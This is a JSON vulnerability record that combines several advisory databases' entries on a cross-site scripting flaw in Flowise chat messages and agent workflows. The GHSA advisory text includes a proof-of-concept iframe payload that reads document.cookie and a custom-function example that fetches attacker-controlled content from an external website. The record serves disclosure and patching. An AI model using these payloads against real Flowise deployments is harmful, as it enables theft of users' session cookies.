{"id":"CVE-2025-71331","aliases":["EUVD-2025-210289","GHSA-4fr9-3x69-36wv","GHSA-jv86-v5fr-xvg6"],"status":"published","title":"Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","severity":{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00325,"percentile":0.25917,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79","CWE-80"],"published":"2025-10-03T19:27:06Z","modified":"2026-11-08T14:00:28Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]}],"products":[{"vendor":"flowise","product":"flowise"},{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/flowise-cross-site-scripting-in-chat-messages-and-agent-workflows","tags":["third-party-advisory","Third Party Advisory","advisory"]},{"url":"https://github.com/advisories/GHSA-4fr9-3x69-36wv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71331","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jv86-v5fr-xvg6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71331.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71331","title":"Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","status":"published","published":"2026-06-20T15:24:39.877Z","modified":"2026-11-08T14:00:28.219Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-80"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2025-210289","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","status":"published","published":"2026-06-20T15:24:39Z","modified":"2026-11-08T14:00:28Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-4fr9-3x69-36wv","title":"Flowise vulnerable to XSS","description":"### Summary\nA XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.\n\n### Details\n1. Send a Message `\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e` from User in a chat box:\n\u003cimg width=\"1396\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5\" /\u003e\n\n##### Trigger in other ways:\n2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)\n\n3. Create a Custom function as an example, use the below example code.\n```\nconst fetch = require('node-fetch');\nconst url = 'https://external.website';\nconst options = {\n    method: 'GET',\n    headers: {\n        'Content-Type': 'application/json'\n    }\n};\ntry {\n    const response = await fetch(url, options);\n    const text = await response.text();\n    return text;\n} catch (error) {\n    console.error(error);\n    return '';\n}\n```\n\n4. The external website (https://external.website) return a XSS payload as content.\n\u003cimg width=\"1228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53\" /\u003e\n\n\n5. The javascript code is executed and the victim's cookie data is sent to the external website.\n\u003cimg width=\"1212\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7\" /\u003e\n\n\n### PoC\n`\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e`\n\n### Impact\nit is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.","status":"published","published":"2025-10-03T19:27:06Z","modified":"2025-10-13T15:26:37Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:00.807341Z"},{"id":"GHSA-jv86-v5fr-xvg6","title":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient...","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","status":"published","published":"2026-06-20T18:31:28Z","modified":"2026-06-20T18:31:28Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T15:08:55.672723Z"}],"nvd":[{"id":"CVE-2025-71331","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","status":"published","published":"2026-06-20T16:17:04.137Z","modified":"2026-10-19T17:10:00.173Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71331","title":"Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows","description":"Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., \u003ciframe src=\"javascript:alert(document.cookie)\"\u003e) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.","status":"published","published":"2026-06-20T15:24:39.877Z","modified":"2026-11-09T02:30:49.736553884Z","cvss":[{"version":"4.0","score":5.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-80"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-4fr9-3x69-36wv","title":"Flowise vulnerable to XSS","description":"### Summary\nA XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.\n\n### Details\n1. Send a Message `\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e` from User in a chat box:\n\u003cimg width=\"1396\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5\" /\u003e\n\n##### Trigger in other ways:\n2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)\n\n3. Create a Custom function as an example, use the below example code.\n```\nconst fetch = require('node-fetch');\nconst url = 'https://external.website';\nconst options = {\n    method: 'GET',\n    headers: {\n        'Content-Type': 'application/json'\n    }\n};\ntry {\n    const response = await fetch(url, options);\n    const text = await response.text();\n    return text;\n} catch (error) {\n    console.error(error);\n    return '';\n}\n```\n\n4. The external website (https://external.website) return a XSS payload as content.\n\u003cimg width=\"1228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53\" /\u003e\n\n\n5. The javascript code is executed and the victim's cookie data is sent to the external website.\n\u003cimg width=\"1212\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7\" /\u003e\n\n\n### PoC\n`\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e`\n\n### Impact\nit is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.","status":"published","published":"2025-10-03T19:27:06Z","modified":"2026-07-08T07:35:46.112418651Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:36.782754Z"}]}}